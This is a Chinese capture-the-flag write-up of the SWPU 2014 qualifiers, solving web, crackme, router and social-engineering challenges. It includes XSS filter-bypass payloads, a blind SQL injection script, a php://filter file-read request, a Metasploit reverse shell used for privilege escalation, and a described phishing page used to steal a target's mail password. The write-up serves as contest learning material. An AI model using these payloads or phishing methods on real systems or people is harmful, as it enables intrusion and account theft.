SWPU QUAL 2014 Writeup

Base 1

一个 JS 解密，首先替换 eval 为 console.log，得到

```
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(c/a))+String.fromCharCode(c%a+161)};while(c--)if(k[c])p=p.replace(new RegExp(e(c),'g'),k[c]);return p}('<\xa2>\xac \xab(){\xa3 \xaa="\xa1 同学是个活泼开朗的孩子，在西南石油大学各个学院都结交了很多朋友。同时\xa1 同学也是一个热心肠，朋友遇到任何困难他都会奋不顾身去鼎力相助。包括追女朋友、抓\xa9、写情书、搓背、捡肥皂、帮妹子找回\xa8、\xa7 帮队友送人头……最近正逢“西南石油大学安全月”，\xa1 更是忙的不可开交……其实\xa1 也是个粗中带细的好学生，其实他一直默默的暗恋着艺术院的一个妹子……";\xa3 \xa6="\xa5:\xa4"}</\xa2>',12,12,'running|script|var|da521d85afefa53bc86b41d73c75d081|6f7bf47d9fdf677af6ec611d172fe5a5|key|LOL|QQ|hack|runstr|passkey|function'.split('|')))
```

再替换 eval 为 console.log，得到：

```
<script>function passkey(){var runstr="running 同学是个活泼开朗的孩子，在西南石油大学各个学院都结交了很多朋友。同时 running 同学也是一个热心肠，朋友遇到任何困难他都会奋不顾身去鼎力相助。包括追女朋友、抓 hack、写情书、搓背、捡肥皂、帮妹子找回 QQ、LOL 帮队友送人头……最近正逢“西南石油大学安全月”，running 更是忙的不可开交……其实 running 也是个粗中带细的好学生，其实他一直默默的暗恋着艺术院的一个妹子……";var key="6f7bf47d9fdf677af6ec611d172fe5a5:da521d85afefa53bc86b41d73c75d081"}</script>
```

丢到 ophcrack 解密：

```
Hash:   6f7bf47d9fdf677af6ec611d172fe5a5
Password:   WEL2014SWPU
```

Base 2

修改 Referer：

```
DeAdCaT-2:tmp DeAdCaT___$ curl -v -H "Referer: https://www.google.com" http://basic.swpuwllm.com/base3_referer/
* Adding handle: conn: 0x7f97b9803a00
```

```
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7f97b9803a00) send_pipe: 1, recv_pipe: 0
* About to connect() to basic.swpuwllm.com port 80 (#0)
*   Trying 199.101.117.142...
* Connected to basic.swpuwllm.com (199.101.117.142) port 80 (#0)
> GET /base3_referer/ HTTP/1.1
> User-Agent: curl/7.30.0
> Host: basic.swpuwllm.com
> Accept: */*
> Referer: https://www.google.com
> < HTTP/1.1 200 OK
< Date: Fri, 31 Oct 2014 12:02:45 GMT
* Server Apache/2.2.8 (Win32) is not blacklisted
< Server: Apache/2.2.8 (Win32)
< running: Swp201u4
< Content-Length: 2775
< Connection: close
< Content-Type: text/html
<
<!--Designed By: tears--><!--Only For SwpuNetworkSec Competition
2014--><!--Date: 2014.10.21--><!DOCTYPE html PUBLIC "-//W3C//DTD HTML
4.01 Transitional//EN"
"http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd"><html
xmlns="http://www.w3.org/1999/xhtml"><head><meta content="IE=7.0000"
http-equiv="X-UA-Compatible"><title>????ч?'?A????A </title><meta
content="text/html; charset=udf-8" http-equiv="Content-Type"><meta
name="keywords" content=""><meta name="description" content=""><link
rel="stylesheet" type="text/css" href="referer_files/css.css"><body
style="background:#000;">
<div class="header"><div class="header_m"><img
src="referer_files/header.jpg" height="150" width="1000"></div><div
class="nav_b">
<div class="menu" style="background:#FFF;"><ul id="menu">
  <li onmouseover="javascript:ShowMenu(this)"><a class=""
href=""><strong>A ??X</strong></a> </li>
  <li onmouseover="javascript:ShowMenu(this)"><a class=""
href=""><strong>A ?f?</strong></a>
    </li><li onmouseover="javascript:ShowMenu(this)">
  <a class="" href=""><strong>??A????</strong></a>
  </li><li onmouseover="javascript:ShowMenu(this)"><a class=""
href=""><strong>ь?ж???</strong></a>
  </li><li onmouseover="javascript:ShowMenu(this)"><a class=""
```

```
href=""><strong>??A?o?</strong></a>
  </li><li onmouseover="javascript:ShowMenu(this)"><a class=""
href=""><strong>A?Б???</strong></a>
  </li><li onmouseover="javascript:ShowMenu(this)"><a class=""
href=""><strong>???Б?A</strong></a>
  </li><li onmouseover="javascript:ShowMenu(this)"><a class=""
href=""><strong>?o???????</strong></a>
  </li><li onmouseover="javascript:ShowMenu(this)"><a class=""
href=""><strong>A??????</strong></a>
  </li><li onmouseover="javascript:ShowMenu(this)">
  <a href=""><strong>????????</strong></a>
       </li><li onmouseover="javascript:ShowMenu(this)"><a class=""
href=""><strong>??X??'</strong></a>
  </li>
 </ul></div></div></div>
<!--????  ????Ǩ????-->
<div class="main_width" style="background:#AAA; width:963px;height:
500px;"><div class="next_title"><span
class="fl">??L????</span></div><div class="next_xx" style="text-align:
center; margin-left: 200px; width: 500px;"><span
style="FONT-FAMILY: ????"><p><span style="font-size: medium"><span
style="font-size: medium"><span style="font-size: medium">
 <b>??  ???  ?   <br />It is not key??
      <br
/>954a4995de68029c936a5b9eb6a646f50f838b4f8fc851f549fee82add419942</b
> <br>
    
</span></span></span></p><p></p></span></div></div><div
class="footer"><p> SwpuNetworkSec Competition 2014<br>
????  ?  ?  ???????  ?  ????|  ??  ???  ?  ?  ????¶????¶????8?? ?  ?:000000 |
?绰??000-00000000 <br></p></div>
* Closing connection 0</body></html>
```


用 http header 中的 Swp201u4 作为 key，DES 作为加密算法去解密，

```
In [29]: from Crypto.Cipher import DES

In [30]: unquote(DES.new('Swp201u4',
DES.MODE_ECB).decrypt('954a4995de68029c936a5b9eb6a646f50f838b4f8fc851
f549fee82add419942'.decode('hex')))
Out[30]: 'key{It#ReferFrom2014A3$}'
```

Base 3

一个郭美美 orz，用 hexedit 打开发现后面跟了个 PNG，截出来是个二维码，扫一下得到一串 md5，

```
3141caac940108e6f0c8e0ad8a840f87
```

然后去 somd5.com 解密，得到：

```
明文:ITpicT2048re@GMM
```

Base 4 亦即 XSS 1

payload

```
"><svg onload=alert(1)>
```

得到 key：

```
Why are you so diao !!so key=Gre34y_6r3p
```

Base 5 亦即 XSS 2

payload

```
" || alert(1) || "a"=="b
```

得到 key：

```
Why are you so diao!! so key=Ve07G73@edy
```

拼接后的 blue 函数为：

```
function blue()
{
    if(shit=="" || alert(1) || "a"=="b")
    {
        var shit=1;
        eval(shit);
    }
}
blue();
```

这样也行

```
" || alert(1));if("1
```

总之就是花样拼接就好。

Base 6 亦即 XSS 3

payload

```
1 || 1==1){window[atob('YWxlcnQ=')](1);}if(1==2
```

拼接后的 blue 函数为：

```
function blue()
{
    if(shit==1 || 1==1){window[atob('YWxlcnQ=')](1);}if(1==2){
        var shit=1;
        eval(shit);
    }
}
blue();
```

Base 7 亦即 XSS 4

学到新姿势的一道题。

在 unicode 中，\u2028 也可以作为换行符，那么对它进行以下 utf-8 编码之后，同样会被服务器认为是换行，但又不是常见的%0d%0a 之类的，所以没有被过滤。

```
In [1]: u'\u2028'.encode('utf-8')
Out[1]: '\xe2\x80\xa8'
```

然后对 alert 以及[]有过滤，以下为两个成功的 payload：

payload 1:

```
data=%e2%80%a8%65%76%61%6c%28%27%61%27%2e%63%6f%6e%63%61%74%28%27%6c%65%72%74%28%31%29%27%29%29%3b
```

除了%e2%80%a8 之后的 payload unquote 之后是：eval('a'.concat('lert(1)'));

payload 2:

```
data=%e2%80%a8eval%28atob%28%27YWxlcnQoMSk%3D%27%29%29%3b
```

除了%e2%80%a8 之后的 payload unquote 之后是：eval(atob('YWxlcnQoMSk='));

Base 8 亦即 XSS 5

fuzz 了一下，发现应该是 jsfuck

```
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]
+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]
]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]
+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])
[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[]]+([][[]
]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]
+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+
[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+
[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]
+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+
[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]
+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]
)[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][
[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])()
```

拼接后的 blue 函数为：

```
function blue()
{

if(shit==[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!
+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])
[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[]]+([][[]]
+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]
+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+
[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+
[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]
+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+
[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+
[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]
+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]
)[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][
[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[
+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[
+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[]]
]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]
+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]
+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([
```

```
[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])())
    {
        var shit=1;
        eval(shit);
    }
}
blue();
```

WebSec 1

```
http://web.swpuwllm.com:2222/teachers.php?dyid=1
```

一个注入，据说可以直接回显，但我没搞定，改了改之前一个盲注脚本搞定的:

```
#!/usr/bin/env python# -*- codeing:utf-8 -*-
import requests
def binary_sqli(left, right, index):
    while 1:
        mid = (left + right)/2
        if mid == left:
            print chr(mid)
            return chr(mid)
            break
        payload = "23 and 1 = if(ascii(substr((select * from
keyishere),%s,1))<%s,1,2)" % (str(index), str(mid))
        url = 'http://web.swpuwllm.com:2222/teachers.php?dyid=' +
payload
        r = requests.get(url)
        tmp = r.text
        if len(tmp) > 800:
            right = mid
        else:
            left = mid
if __name__ == '__main__':
    ans = ''
    for i in range(1,18):
        ans += binary_sqli(35, 127, i)
    print ans
```

本地太慢，在日本的服务器上跑：

```
:~$ python sql.py
S
```

q
L
1
I
s
S
o
1
a
S
y
@
G
0
0
d
SqL1IsSo1aSy@G00d

WebSec 2

XFF 欺骗，ping 一下该站的 ip 然后修改你的 HTTP HEADER 中的 X-Forwarded-For 为该 ip，然后发现一个登录框，随手一个万能密码就进去了。

WebSec 3

文件包含的简单绕过还有 php 伪协议：

```
DeAdCaT-2:tmp DeAdCaT___$ curl
http://web.swpuwllm.com:3333/urp/score.php?file=php://filter/read=con
vert.base64-encode/resource=%2e%2e%2fkey.php
77u/PD9waHANCiAgLy9rZXk9N0IxbkNMdWQzQGZpTGVzJjANCj8+DQo8IS0tIGtleeWws
eWcqOi/memHjOWTny0tPg==<html><body
style="background-color:#CCC;"></body></html>DeAdCaT-2:tmp
DeAdCaT___$ echo -n
77u/PD9waHANCiAgLy9rZXk9N0IxbkNMdWQzQGZpTGVzJjANCj8+DQo8IS0tIGtleeWws
eWcqOi/memHjOWTny0tPg== | base64 -d<?php
  //key=7B1nCLud3@fiLes&0?><!-- key 就在这里哟-->
```

WebSec 4

一个 qibocms，据说可以用雨发在 wooyun 的一个 SQL 注入拿 admin 的 hash 然后进后台然后 xxx，但我当时随手看的时候发现一个 2011.php 然后 angel 直接进去了。。。。

key for web4 在 config.php

WebSec 5

key for web5 是 C:\www\ 下的一个文件名

WebSec 6

一个 Windows Server 2003 提权题，尝试了各种 2003 的提权杀器无果，后来用 Win32.exe 貌似有点反应，奇怪的是直接

```
C:\www\do\api\win32.exe C:\www\do\api\gou.bat
```

无效，有点迷思。

之后上传了个 msf 的 reverse_tcp shell：

```
C:\www\do\api\win32.exe C:\www\do\api\bd.exe
```

弹回来了个 system，但奇怪的是 shell 一开就挂，于是用 meterpreter 自己的那一套 file 操作，cd 啊 ls 啊之类的，在 Administrator 的桌面找到了 key。

Windows 提权，我的痛。。。（弱者我。。。

CrackMe 1

一个 APK，直接丢给我正版 JEB，直接看 MainActivity，Tab 一下，关键代码：

```
public class MainActivity extends Activity {
    private View$OnClickListener MyListener;
    private String usrname;
    private String usrpsw;

    public MainActivity() {
        super();
        this.usrname = "";
        this.usrpsw = "";
        this.MyListener = new View$OnClickListener() {
            public void onClick(View v) {
```

```
            MainActivity.access$0(MainActivity.this,
MainActivity.this.findViewById(2131230723).
                    getText().toString());
            View v1 = MainActivity.this.findViewById(2131230726);
            MainActivity.access$1(MainActivity.this,
((EditText)v1).getText().toString());
            if(!MainActivity.this.usrname.equals("admin")) {
                Toast.makeText(MainActivity.this, "failed,Try again!!
", 1).show();
            }
            else
if(MainActivity.this.usrpsw.equals("NetW0rk318w11m")) {
                Toast.makeText(MainActivity.this, "Congratulate, key
is your input! ", 1).show();
            }
            else {
                Toast.makeText(MainActivity.this, "failed,Try again!!
", 1).show();
                ((EditText)v1).setText("");
            }
        }
    };
}
```

flag:

```
NetW0rk318w11m
```

CrackMe 2

一个 ELF，丢给我大 IDA，简单整理了一下变量名和数组啥的

```
if ( strlen(input) != 11 )
  {
    puts("You input Key is wrong !");
    exit(0);
  }
  for ( i = 0; i <= 10; ++i )
  {
    if ( (input[i] > 57 || input[i] <= 48) && input[i] != 45 )
    {
      puts("You input Key is error !");
      exit(0);
    }
```

```
}
if ( input[3] != 45 || input[6] != 45 )
{
  puts("You input Key is error !");
  exit(0);
}
for ( i = 0; i <= 10; ++i )
{
  if ( input[3] != 45 || input[6] != 45 )
  {
    for ( j = i + 1; j <= 10; ++j )
    {
      if ( input[i] == input[j] )
      {
        puts("You input key is error2!");
        exit(0);
      }
    }
  }
}
for ( i = 0; i <= 2; ++i )
  *((_BYTE *)&input_0_2 + i) = input[i];
i = 0;
for ( j = 4; j <= 5; ++j )
  *((_BYTE *)&input_4_5 + i++) = input[j];
i = 0;
for ( j = 7; j <= 10; ++j )
  *((_BYTE *)&input_7_10 + i++) = input[j];
v11 = atoi((const char *)&input_0_2);
v10 = atoi((const char *)&input_4_5);
v9 = atoi((const char *)&input_7_10);
if ( v10 * v11 == v9 )
  puts("Key is your input!");
else
  puts("SaoNian ,please try again ....");
```

可以看出你需要输入一个形如 xxx-yy-zzzz 的长度为 11 的字符串，其中 x 必须都是数字，需要满足 xxx*yy=zzzz 且没用重复数字，写了代码如下（被 CHO 鄙视代码写的少 QAQ）：

```
for i in range(100,1000):
    for j in range(10,100):
        tmp = i * j
        if ''.join(sorted(''.join(map(str,[i,j,tmp])))) == '123456789':
```

```
            print '-'.join(map(str,[i,j,tmp]))
        else:
            continue
```

结果：

```
138-42-5796
157-28-4396
159-48-7632
186-39-7254
198-27-5346
297-18-5346
483-12-5796
```

一个一个尝试，最后的答案是 483-12-5796。

CrackMe 3

一个 PE 的 CM，依然是丢给 IDA。

```
v20 = 'nnuR';
v21 = 'ggni';
v22 = 'o';
v13 = 'wsnA';
v14 = 'BDre';
v15 = 'gni';
v16 = 0x5330B76;
v17 = 0x2714350;
v18 = 0xF50;
v19 = 0x1E;
v3 = sub_4013C0(std::cout, "Please input
name:");std::basic_ostream<char,std::char_traits<char>>::operator<<(v
3, std::endl);
sub_401610(std::cin, &username);
v4 = &username;do
v5 = *v4++;while ( v5 );if ( (unsigned int)(v4 - v30 - 5) > 5 ||
strcmp(&username, (const char *)&v20) )
{
    printf("You input name is wrong !\n");
    exit(0);
}
v6 = sub_4013C0(std::cout, "Please input
password:");std::basic_ostream<char,std::char_traits<char>>::operator
<<(v6, std::endl);
```

```
sub_401610(std::cin, &v20);
v7 = &v20;do
{
   v8 = *(_BYTE *)v7;
   v7 = (int *)((char *)v7 + 1);
}while ( v8 );
v9 = (char *)v7 - ((char *)&v20 + 1);if ( (unsigned int)((char *)v7 - ((char
*)&v20 + 1) - 5) > 6 )
{
   printf("You input password is wrong !\n");
   exit(0);
}for ( i = 0; i < v9; *(&v23 + i) = v11 )
{
   v11 = *((_BYTE *)&v16 + i) ^ *((_BYTE *)&v20 + i);
   ++i;
}if ( !strcmp((const char *)&v13, &v24) )
   printf("The key is your input password !\n");else
   printf("You input password is wrong !\n");
```

首先你需要输入一个用户名，然后拿去和"Runninggo"比较，对的话继续（这步和答案没关系），然后你输入的密码和一段字符串 XOR 之后需要变成"AnswerDBing"，那么需要做到事情就很简单了。

```
In [43]: a = 'AnswerDBing'

In [44]: b = '760B330550437102500F1E'

In [45]: c = lambda x,y:x^y

In [46]: ''.join(map(chr,map(c,map(ord,a),map(ord,b.decode('hex')))))
Out[46]: '7e@r515@9ay'
```

CrackMe 4

关键代码：

```
else if ( (unsigned __int8)sub_4086BC(v43, v44, v45) )
   {
     buf = (char *)System::__linkproc__ GetMem(4);
     recv(sock, buf, 4, 0);
     type = (unsigned __int8)*buf;
     magic_1 = buf[1];
     magic_2 = buf[2];
     magic_3 = buf[3];
```

```
v11 = (char *)System::__linkproc__ GetMem(1024);
if ( (unsigned __int8)sub_4086BC(v43, v44, v45) )
{
  v14 = recv(sock, v11, 1024, 0);
  System::__linkproc__ DynArraySetLength(v14);
  v15 = v11;
  v16 = v14;
  v17 = 0;
  do
  {
    buf[v17++] = *v15++;
    --v16;
  }
  while ( v16 );
  if ( type )
  {
    switch ( type )
    {
      case 1:
        v20 = v14;
        v21 = 0;
        do
        {
          buf[v21] = magic_1 + ((v21 + 1) ^ magic_3 ^ buf[v21]) -
magic_2;
          ++v21;
          --v20;
        }
        while ( v20 );
        break;
      case 2:
        v22 = v14;
        v23 = 0;
        do
        {
          buf[v23] = (v23 + 1) ^ magic_1 ^ (magic_3 + magic_2 +
buf[v23]);
          ++v23;
          --v22;
        }
        while ( v22 );
        break;
      case 3:
        v24 = v14;
```

```
            v25 = 0;
            do
            {
              buf[v25] = (v25 + 1) ^ magic_1 ^ (buf[v25] - magic_2 -
magic_3);
              ++v25;
              --v24;
            }
            while ( v24 );
            break;
          }
        }
        else
        {
          v18 = v14;
          v19 = 0;
          do
          {
            buf[v19] = magic_2 + ((v19 + 1) ^ magic_3 ^ buf[v19]) - magic_1;
            ++v19;
            --v18;
          }
          while ( v18 );
        }
        checksum = 0;
        v27 = v14 - 1;
        if ( v14 != 1 )
        {
          v28 = 1;
          do
          {
            checksum += buf[v28++];
            --v27;
          }
          while ( v27 );
        }
        if ( checksum == *buf )
        {
          v31 = v14 - 1;
          if ( v14 != 1 )
          {
            v32 = 1;
            do
            {
```

```
            buf[v32] = byte_40929C[(unsigned __int8)buf[v32]];
            ++v32;
            --v31;
          }
          while ( v31 );
        }
```

简单说一下解密过程：先收取四个字节，第一字节是加解密的 type，第二至四字节是三个在解密过程中会用到的 number。然后依照 type 进行运 算解密，之后有一位是 checksum，是解密出来的所有字符（除了它自己）的 ascii 值的加和，然后有个字典需要把解密出来的字符做一次映射。

获得 map.bin 的方法

```
In [9]: offset = '849C'

In [10]: a = int(offset,16)

In [11]: f = open('CirnoClient.exe').read()

In [12]: open('map.bin','w').write(f[a:a+256])
```

然后就是写代码了。

```
#!/usr/bin/env python2
from zio import *import struct, re

dct = open('map.bin').read()
rev_dct = {}for i in xrange(len(dct)):
    rev_dct[dct[i]] = i
def decode(hdr, s):
    _type, magic1, magic2, magic3 = map(ord, hdr)
    buf = map(ord, s)
    for i, x in enumerate(buf):
        if _type == 1:
            buf[i] = (magic1 + ((i + 1) ^ magic3 ^ x) - magic2) % 256
        elif _type == 2:
            buf[i] = ((i + 1) ^ magic1 ^ (magic3 + magic2 + x)) % 256
        elif _type == 3:
            buf[i] = ((i + 1) ^ magic1 ^ (x - magic3 - magic2)) % 256
        else:
            buf[i] = (magic2 + ((i + 1) ^ magic3 ^ x) - magic1) % 256
    if buf[0] != sum(buf[1:]) % 256:
        return None
    return ''.join(map(lambda x: dct[x], buf))[1:]
```

```
def encode(hdr, s):
    _type, magic1, magic2, magic3 = map(ord, hdr)
    buf = map(lambda x: rev_dct[x], s)
    buf = [sum(buf) % 256] + buf
    for i, x in enumerate(buf):
        if _type == 1:
            buf[i] = ((buf[i] + magic2 - magic1) ^ magic3 ^ (i + 1)) % 256
        elif _type == 2:
            buf[i] = ((buf[i] ^ (i + 1) ^ magic1) - magic3 - magic2) % 256
        elif _type == 3:
            buf[i] = ((buf[i] ^ (i + 1) ^ magic1) + magic3 + magic2) % 256
        else:
            buf[i] = ((buf[i] + magic1 - magic2) ^ magic3 ^ (i + 1)) % 256

    return ''.join(map(chr, buf))


io = zio(('cardinal.mayafei.cn', 9999), print_read=False,
print_write=False)
hdr = io.read(4)print decode(hdr, io.sock.recv(1024))
io.write(encode(hdr, '1'))while True:
    raw = io.sock.recv(4096)
    while decode(hdr, raw) is None:
        raw += io.sock.recv(4096)
    try:
        ret = decode(hdr, raw).decode('gbk')
    except:
        ret = decode(hdr, raw)
        open('flag.bin', 'w').write(ret)
    print 'decoded:', ret
    if 'FLAG' in ret:
        io.write(encode(hdr, re.search('(.*?)\. Let Cirno tell you the
FLAG', ret).groups()[0]))
        continue
    x = re.search('how many (.*?) in', ret).groups()[0].strip('"')
    ret = ret[ret.find('seconds'):]
    io.write(encode(hdr, str(ret.count(x))))
```

不知道什么是 zio? 使用前请仔细阅读 README，并且遵守这个萌系作者的 SATA License

然后：

```
DeAdCaT___$ file flag.bin
flag.bin: RAR archive data, v1d, os: Win32
```

解压得到：

Router 1

ZyNOS，google 之，然后：

```
DeAdCaT-2:swpu2014 DeAdCaT___$ curl
http://basic.swpuwllm.com/router1_os/login/rom-0
Key=Router_Is_Dangerous
```

Router 2

一个 pcap 分析，从其中抓出一个 bmp，key 就在 bmp 上画着。

```
KEY=H@vEFun
```

Router 3

模拟了一个 Tenda 的 cookie 漏洞，

```
document.cookie="admin:language=cn"
```

然后访问，弹出 Key。

```
KEY=Tenda_Router
```

Social Engineering 1

三个题目共用一个数据包，可以从中发现：

```
QQ 账号
简历.doc
xxx.rar
```

简历上的 gmail 泄漏过密码，是 motianlun，可以打开 rar 文件，获得第一个 key。

Social Engineering 2

钓鱼，加目标 QQ，然后构造了一个 163Mail 的钓鱼页面，发过去，目标写了账号密码，密码是 mailmotianlun，真要猜的话也有可能猜出来，然后用这个邮箱重置且在油吧的账号，然后获得第二个 key。

Social Engineering 3

去目标 qq 空间，需要输入其生日，尝试了简历上的 0401，以及其 QQ 写的水瓶座的所有日期都不对之后，根据其油吧写的星座金牛座进行遍历，最终用 0510 进入其 QQ 空间，获得第三个 key。

LInK

WEibO